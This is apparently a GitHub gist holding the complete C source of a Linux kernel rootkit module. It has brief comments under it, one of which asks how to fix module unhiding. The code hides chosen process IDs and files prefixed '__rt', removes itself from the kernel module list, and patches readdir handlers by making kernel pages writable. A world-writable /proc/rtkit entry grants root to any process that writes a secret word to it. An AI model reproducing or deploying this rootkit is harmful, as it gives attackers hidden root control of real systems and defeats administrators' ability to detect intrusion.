-
-
Save ivyl/3964594 to your computer and use it in GitHub Desktop.
Blog
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/init.h> | |
#include <linux/module.h> | |
#include <linux/proc_fs.h> | |
#include <linux/string.h> | |
#include <linux/cred.h> | |
#include <linux/fs.h> | |
//typesafe macro for getting minimum value | |
#define MIN(a,b) \ | |
({ typeof (a) _a = (a); \ | |
typeof (b) _b = (b); \ | |
_a < _b ? _a : _b; }) | |
//how much pids we want to hide | |
#define MAX_PIDS 50 | |
MODULE_LICENSE("Dual BSD/GPL"); | |
MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>"); | |
MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>"); | |
//STATIC VARIABLES SECTION | |
//we don't want to have it visible in kallsyms and have access to it all the time | |
//so it's static | |
static struct proc_dir_entry *proc_root; | |
static struct proc_dir_entry *proc_rtkit; | |
//here we store original version of readdirs functions | |
static int (*proc_readdir_orig)(struct file *, void *, filldir_t); | |
static int (*fs_readdir_orig)(struct file *, void *, filldir_t); | |
//here we store original versions of filldir functions | |
static filldir_t proc_filldir_orig; | |
static filldir_t fs_filldir_orig; | |
static struct file_operations *proc_fops; | |
static struct file_operations *fs_fops; | |
//to store kobject list places, used for revealing presence | |
static struct list_head *module_previous; | |
static struct list_head *module_kobj_previous; | |
//array used for hiding pids and it's position | |
static char pids_to_hide[MAX_PIDS][8]; | |
static int current_pid = 0; | |
//some switches | |
static char hide_files = 1; | |
static char module_hidden = 0; | |
//place for printable status | |
static char module_status[1024]; | |
//MODULE HELPERS | |
void module_hide(void) { | |
if (module_hidden) return; | |
//remove from modules list | |
module_previous = THIS_MODULE->list.prev; | |
list_del(&THIS_MODULE->list); | |
//remove kobjects and store just in case | |
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev; | |
kobject_del(&THIS_MODULE->mkobj.kobj); | |
list_del(&THIS_MODULE->mkobj.kobj.entry); | |
module_hidden = !module_hidden; | |
} | |
void module_show(void) { | |
int result; | |
if (!module_hidden) return; | |
//readding module | |
list_add(&THIS_MODULE->list, module_previous); | |
//restoring kobject to it's original place | |
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt"); | |
module_hidden = !module_hidden; | |
} | |
//PAGE RW HELPERS | |
static void set_addr_rw(void *addr) { | |
unsigned int level; | |
//get page in which given addres resides | |
pte_t *pte = lookup_address((unsigned long) addr, &level); | |
//set page RW | |
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; | |
} | |
static void set_addr_ro(void *addr) { | |
//as above but unset | |
unsigned int level; | |
pte_t *pte = lookup_address((unsigned long) addr, &level); | |
pte->pte = pte->pte &~_PAGE_RW; | |
} | |
//CALLBACK SECTION | |
//new methods which wraps originals | |
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, | |
u64 ino, unsigned d_type) { | |
int i; | |
for (i=0; i < current_pid; i++) { | |
//if matches any hidden pid don't show | |
if (!strcmp(name, pids_to_hide[i])) return 0; | |
} | |
//hide also our own entry | |
if (!strcmp(name, "rtkit")) return 0; | |
//invoke original | |
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type); | |
} | |
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { | |
proc_filldir_orig = filldir; //stor original filldir | |
return proc_readdir_orig(filp, dirent, proc_filldir_new); //pass our wrapper | |
} | |
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, | |
unsigned d_type) { | |
//hide if matches | |
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0; | |
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type); //invoking original version | |
} | |
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { | |
//analogus to proc version | |
fs_filldir_orig = filldir; | |
return fs_readdir_orig(filp, dirent, fs_filldir_new); | |
} | |
//function used when reading /proc/rtkit | |
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, | |
int *eof, void *data) { | |
int size; | |
//generate nice output | |
sprintf(module_status, | |
"RTKIT\n\ | |
DESC:\n\ | |
hides files prefixed with __rt or 10-__rt and gives root\n\ | |
CMNDS:\n\ | |
mypenislong - uid and gid 0 for writing process\n\ | |
hpXXXX - hides proc with id XXXX\n\ | |
up - unhides last process\n\ | |
thf - toogles file hiding\n\ | |
mh - module hide\n\ | |
ms - module show\n\ | |
STATUS\n\ | |
fshide: %d\n\ | |
pids_hidden: %d\n\ | |
module_hidden: %d\n", hide_files, current_pid, module_hidden); | |
size = strlen(module_status); | |
//handling pagers, output is quite small, but who know | |
//just start at given offset | |
if (off >= size) return 0; //exceeds? nothing to return | |
if (count >= size-off) { | |
memcpy(buffer, module_status+off, size-off); | |
} else { | |
memcpy(buffer, module_status+off, count); | |
} | |
return size-off; | |
} | |
//this is invoked when someone writes to /proc/rtkit | |
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { | |
//just compares input to secret words, uses strncmp in safe maner | |
//my pen is long is the secret passwort to get root | |
if (!strncmp(buff, "mypenislong", MIN(11, count))) { //changes to root | |
struct cred *credentials = prepare_creds(); | |
credentials->uid = credentials->euid = 0; | |
credentials->gid = credentials->egid = 0; | |
commit_creds(credentials); | |
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id | |
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2)); | |
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process | |
if (current_pid > 0) current_pid--; | |
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs | |
hide_files = !hide_files; | |
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide | |
module_hide(); | |
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide | |
module_show(); | |
} | |
return count; | |
} | |
//INITIALIZING/CLEANING HELPER METHODS SECTION | |
//those null checks are for sanity | |
//if something failed than nothing is done | |
static void procfs_clean(void) { | |
if (proc_rtkit != NULL) { | |
remove_proc_entry("rtkit", NULL); | |
proc_rtkit = NULL; | |
} | |
if (proc_fops != NULL && proc_readdir_orig != NULL) { | |
//restore original reddir | |
set_addr_rw(proc_fops); | |
proc_fops->readdir = proc_readdir_orig; | |
set_addr_ro(proc_fops); | |
} | |
} | |
static void fs_clean(void) { | |
if (fs_fops != NULL && fs_readdir_orig != NULL) { | |
//restore original reddir | |
set_addr_rw(fs_fops); | |
fs_fops->readdir = fs_readdir_orig; | |
set_addr_ro(fs_fops); | |
} | |
} | |
static int __init procfs_init(void) { | |
//new entry in proc root with 666 rights | |
proc_rtkit = create_proc_entry("rtkit", 0666, NULL); | |
if (proc_rtkit == NULL) return 0; | |
proc_root = proc_rtkit->parent; | |
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { | |
return 0; | |
} | |
proc_rtkit->read_proc = rtkit_read; | |
proc_rtkit->write_proc = rtkit_write; | |
//substitute proc readdir to our wersion (using page mode change) | |
proc_fops = ((struct file_operations *) proc_root->proc_fops); | |
proc_readdir_orig = proc_fops->readdir; | |
set_addr_rw(proc_fops); | |
proc_fops->readdir = proc_readdir_new; | |
set_addr_ro(proc_fops); | |
return 1; | |
} | |
static int __init fs_init(void) { | |
struct file *etc_filp; | |
//get file_operations of /etc | |
etc_filp = filp_open("/etc", O_RDONLY, 0); | |
if (etc_filp == NULL) return 0; | |
fs_fops = (struct file_operations *) etc_filp->f_op; | |
filp_close(etc_filp, NULL); | |
//substitute readdir of fs on which /etc is | |
fs_readdir_orig = fs_fops->readdir; | |
set_addr_rw(fs_fops); | |
fs_fops->readdir = fs_readdir_new; | |
set_addr_ro(fs_fops); | |
return 1; | |
} | |
//MODULE INIT/EXIT | |
static int __init rootkit_init(void) { | |
if (!procfs_init() || !fs_init()) { | |
procfs_clean(); | |
fs_clean(); | |
return 1; | |
} | |
module_hide(); | |
return 0; | |
} | |
static void __exit rootkit_exit(void) { | |
procfs_clean(); | |
fs_clean(); | |
} | |
module_init(rootkit_init); | |
module_exit(rootkit_exit); |
It is quite easy to detect this rootkit. However this is a nice job for less then 300 LOC.
Also the commands for letting the rootkit do things, come-on..
Line 73 is apparently not enough to unhide the module from /sys/modules. The following error is coming up:
libkmod: ERROR ../libkmod/libkmod-module.c:1802 kmod_module_get_holders: could not open '/sys/module/rt/holders': No such file or directory
Do you know how this can be fixed?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello,I have some question want to ask you ,can you help me?